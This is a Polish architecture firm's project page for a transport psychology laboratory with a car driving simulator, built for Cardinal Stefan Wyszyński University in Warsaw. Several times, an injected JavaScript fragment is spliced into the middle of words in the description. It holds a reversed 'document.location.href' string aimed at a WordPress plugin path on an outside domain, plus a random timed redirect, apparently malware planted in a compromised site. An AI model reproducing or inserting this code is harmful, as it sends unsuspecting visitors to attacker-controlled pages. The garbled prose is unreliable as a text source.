LABORATORIUM PSYCHOLOGII TRANSPORTU, UL.WÓYCICKIEGO W WARSZAWIE

LABORATORIUM PSYCHOLOGII TRANSPORTU
LABORATORIUM PSYCHOLOGII TRANSPORTU
LABORATORIUM PSYCHOLOGII TRANSPORTU
LABORATORIUM PSYCHOLOGII TRANSPORTU
LABORATORIUM PSYCHOLOGII TRANSPORTU
Symulator samochodowy
LABORATORIUM PSYCHOLOGII TRANSPORTU
LABORATORIUM PSYCHOLOGII TRANSPORTU
LABORATORIUM PSYCHOLOGII TRANSPORTU

[57]

INWESTOR:  UNIWERSYTET KARDYNAŁA S.WYSZYŃSKIEGO

LOKALIZACJA:  UL.WÓYCICKIEGO, WARSZAWA

FAZA:  PROJEKT BUDOWLANY

    POW UŻYTKOWA: 106,34m2

    KUBATURA: 694,50m 3

Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany przez nas obiekt Laboratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium Psychologii Transportu przeznaczony jest do prowadzenia badań na symulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torze samochodowym. W centralnej części laboratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium umieszczono na siłownikach nadwozie Opla Astra. Pojazd otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toczony jest cylindrycznym ekranem, na którym wyświetlany jest panoramiczny obraz. Konfiguracja ruchów i efektów wizualno- dźwiękowych toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towarzyszących kierowcy podczas rzeczywistej jazdy umożliwia symulowanie różnych systemów bezpieczeństwa i wspomagania kierownicy. Przy realizacji projektu współpracowaliśmy z Ośrodkiem Doradztwa i Usług Technicznych Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomex.